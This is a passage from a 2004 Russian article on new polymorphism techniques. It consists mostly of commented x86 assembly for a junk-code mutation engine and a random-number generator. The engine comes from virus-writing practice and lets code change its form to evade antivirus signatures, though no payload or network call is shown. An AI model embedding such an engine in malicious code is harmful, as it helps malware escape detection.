push edx ; Сохраняем в стэке edx mov al,0ffh ; Кладём в al - 0ffh stosb ; И помещаем al в буфер mov dl,0f0h ; Кладём в dl - 0f0h call free_reg ; Получаем свободный регистр add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер pop edx ; Вынимаем из стэка edx __gen5__: push ecx ; Сохраняем ecx в стэке mov ecx,edx ; Кладём в ecx - edx call garbage ; Генериуем серию мусора pop ecx ; Восстанавливаем ecx из ; стэка call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,58h ; Добавляем к al - 58h stosb ; И опять кладём al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции PUSH/POP: ; ......................... ; push eax ; mov eax,2345 ; pop ecx ; ......................... sub ecx,edx ; Уменьшаем счётчик на edx sub ecx,3 ; Уменьшаем счётчик на 3 ret ; Возврат из подпрограммы ;----[Генерация инструкций PUSH - 0x68,0x58..0x5f]-------------------------; __push_imm32: mov eax,10 ; Генерируем СЧ в call brandom32 ; диапазоне 0..9 mov edx,eax ; Помещаем в edx - eax add al,6 ; Добавляем к al - 6 cmp eax,ecx ; Если длина генерируемых jle __g17__ ; инструкций меньше, то ret ; Возврат из подпрограммы __g17__: mov al,68h ; Кладём в al - 68h stosb ; Помещаем al в буфер xor eax,eax ; Обнуляем eax dec eax ; Теперь в eax - 0ffffffffh call brandom32 ; Генерируем СЧ stosd ; Кладём его в буфер push ecx ; Сохраняем ecx в стэке mov ecx,edx ; Кладём в ecx - edx call garbage ; Генерируем серию мусора pop ecx ; Восстанавливаем ecx из ; стэка call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,58h ; Добавляем к al - 58h stosb ; И опять кладём al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции PUSH/POP: ; ......................... ; push eax ; add eax,42346 ; pop ecx ; ......................... sub ecx,edx ; Уменьшаем счётчик на edx sub ecx,6 ; Уменьшаем счётчик на 6 ret ; Возврат из подпрограммы ;----[Генерация однобайтовых инструкций - 0x40..0x4f;0x0f2;0x0f3...]-------; __one_byte: mov eax,3 ; Генерируем случайное число call brandom32 ; в диапазоне 0..2 cmp al,1 ; Если число = 1, то jne __not_inc_ ; генерируем инструкцию INC call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,40h ; Добавляем к al - 40h stosb ; Помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции INC: ; ......................... ; inc eax ; inc ebp ; ......................... jmp __q__ ; Идём на выход __not_inc_: cmp al,2 ; Если число = 2, то jne __not_dec_ ; Идём на выход call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,48h ; Добавляем к al - 48h stosb ; Помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции DEC: ; ......................... ; dec eax ; ......................... jmp __q__ ; Идём на выход __not_dec_: lea esi,[ebp+__1_byte_opcode]; Кладём в esi указатель на ; таблицу однобайтных ; инструкций mov eax,8 ; Генерируем случайное число call brandom32 ; в диапазоне 0..7 add esi,eax ; Прибавляем к esi - eax movsb ; Помещаем инструкцию ; из таблицы в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция из таблицы: ; ........................ ; cld ; nop __q__: ; ........................ dec ecx ; Уменьшаем ecx на единицу ret ; Возврат из подпрограммы ;----[Подпрограмма получающая случайный свободный регистр]-----------------; free_reg: ; Подпрограмма получения ; свободного регистра push edx ecx ; Сохраняем в стэке edx, ecx another: ; call rnd_reg ; bt ebx, eax ; Определяем используемый jc another ; случайный регистр pop ecx edx ; Восстанавливаем ecx, edx ret ; Возврат из подпрограммы ;----[Подпрограмма получающая случайный регистр]---------------------------; rnd_reg: ; Подпрограмма получения ; случайного регистра mov eax,8 ; Получаем случайное число call brandom32 ; в диапазоне 0..7 ret ; Возврат из подпрограммы ;----[Таблица смещений на подпрограммы]------------------------------------; mega_table: dw __x87 -__st__ ; dw __mov_r32_r32 -__st__ ; dw __push_r32 -__st__ ; dw __push_r32_2 -__st__ ; dw __push_imm32 -__st__ ; dw __shl_r32_imm8 -__st__ ; dw __cmp_r32_r32 -__st__ ; dw __xor_r32_r32 -__st__ ; dw __one_byte -__st__ ; dw __mov_r32_imm32 -__st__ ; dw __jxx_short -__st__ ; Таблица dw __jxx_near -__st__ ; относительных dw __add_r32_imm32 -__st__ ; смещений от метки dw __jmp_short -__st__ ; delta_offset dw __lea_r32_imm32 -__st__ ; dw __test_r32_r32 -__st__ ; dw __not_r32 -__st__ ; dw __xadd_r32_r32 -__st__ ; dw __mov_r16_imm16 -__st__ ; dw __cmova_r32_r32 -__st__ ; dw __call_near -__st__ ; ;----[Таблица однобайтовых опкодов]----------------------------------------; __1_byte_opcode: std ; cld ; Таблица однобайтовых nop ; инструкций clc ; stc ; cmc ; db 0f2h ; rep db 0f3h ; repnz ;----[Таблица трёхбайтовых опкодов]----------------------------------------; __3_byte_opcode: db 0a3h,0abh,0adh,0b3h,0bbh,0bdh,0bfh ; Таблица трёхбайтовых db 0b6h,0b7h,0beh,0afh,0bch,0c1h,0bdh ; инструкций ;----[Таблица мат. ожиданий опкодов]---------------------------------------; __freq_table: dw 10 ; x87(0xdc) dw 209 ; mov r32,r32(0x8b) dw 107 ; push r32/pop r32(0x50) dw 147 ; push r32(0xff,0x6a) dw 32 ; push imm32(0x68) dw 6 ; ror/shl r32,imm8(0xc1) dw 5 ; cmp r32,r32(0x3ah) dw 43 ; xor r32,r32(0x33) dw 8 ; rep/repnz(0xf3) dw 22 ; mov r32,imm32(0xb8) dw 82 ; je short(0x70..0x7fh) dw 18 ; je near(0x0f) dw 78 ; add/or r32,imm32 ; (0x81..0x85) dw 30 ; jmp short(0xeb) dw 63 ; lea r32,imm32(0x8d) dw 1 ; test r32/r8,r32/r8 ; (0x84,0x85) dw 1 ; not/neg(0xf7) dw 23 ; xadd/imul r32,r32(0x0f) dw 6 ; mov r16,imm16(0x66) dw 13 ; cmova r32,r32(0x0f) dw 95 ; call near(0xe8) ;----[Количество поколений]------------------------------------------------; __generation dd 9 ;----[Наследственность]----------------------------------------------------; __cross1 dd 0 __cross2 dd 0 ;----[Определения регистров]-----------------------------------------------; _eax equ 00000001h ; _ecx equ 00000002h ; _edx equ 00000004h ; _ebx equ 00000008h ; _esp equ 00000010h ; Определения регистров _ebp equ 00000020h ; спасибо Z0MBiE _esi equ 00000040h ; _edi equ 00000080h ; ;--------------------------------------------------------------------------; ; ; ;----[Резать здесь]--------------------------------------------------------;Для работы данного движка необходима новая версия - ГЕНЕРАТОР СЛУЧАЙНОГО ЧИСЛА.
;----[Резать здесь]--------------------------------------------------------; ; ; ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; ; ГЕНЕРАТОР СЛУЧАЙНОГО ЧИСЛА V. 0.3 (x) 2004 СЛОН http://slon.wronger.com ; ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; ; Интервал: [0..eax-1] ; ;--------------------------------------------------------------------------; ; Использование: call r_init ; ; mov eax,ГРАНИЦА ИНТЕРВАЛА ; ; call brandom32 ; ;--------------------------------------------------------------------------; ; Результат: число в интервале [0..ГРАНИЦА ИНТЕРВАЛА] ; ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; ;----[Подпрограмма инициализации генератора случайных чисел]---------------; r_init: push ebp eax edx ; Сохраняем в стэке ebp, ; eax, edx call __delta1_ ; __delta1_: pop ebp ; Получение дельта смещения sub ebp,offset __delta1_ ; db 0fh,031h ; Получаем случайное зерно mov rand_seed,eax ; pop edx eax ebp ; Восстанавливаем edx, ; eax, ebp ret ; Возврат из подпрограммы ;----[Подпрограмма генерации случаного чмсла в диапазоне]------------------; brandom32: ; Эта подпрограмма ; возвращает случайное число ; в диапазоне 0..eax-1 push edx ecx ebp ; Сохраняем в стэке edx, ; ecx, ebp call __delta2_ ; __delta2_: pop ebp ; Получение дельта смещения sub ebp,offset __delta2_ ; imul eax,eax,100 ; Умножаем eax на 100 push eax ; и сохраняем eax в стэке call random32 ; Вызываем подпрограмму ; генерации случайного числа xor edx,edx ; Обнуляем edx pop ecx ; Восстанавливаем значение ; из стэка в ecx div ecx ; Делим eax на ecx xchg eax,edx ; Помещаем остаток в eax xor edx,edx ; Обнуляем edx push 100 ; Помещаем в ecx - 100 pop ecx ; div ecx ; Делим eax на ecx pop ebp ecx edx ; Восстанавливаем ebp, ecx, ; edx ret ; Возврат из подпрограммы ;----[Подпрограмма генерации случайного числа]-----------------------------; random32: push ebp call __delta3_ ; __delta3_: pop ebp ; Получение дельта смещения sub ebp,offset __delta3_ ; mov eax,12345678h ; rand_seed= dword ptr $-4 ; imul eax,00019660Dh ; add eax,03C6EF35Fh ; Математические операции mov [ebp+rand_seed],eax ; для получения случайного shr eax,16 ; числа imul eax,[esp+4] ; pop ebp retn ; Возврат из подпрограммы ;--------------------------------------------------------------------------; ; ; ;----[Резать здесь]--------------------------------------------------------;Последние две техники нигде мной ранее не встречались. И хочется верить, что разработаны они мной.
Для чего это всё может быть использовано? Об этом каждый ответит для себя сам. Я например собираюсь на базе данного движка создать программную защиту. После всего этого, хочется задаться закономерным вопросом: "Полиморфизм мёртв?".
(c)slon (2004).
© slon
Полиморфизм. Новые техники
Дата публикации 11 янв 2005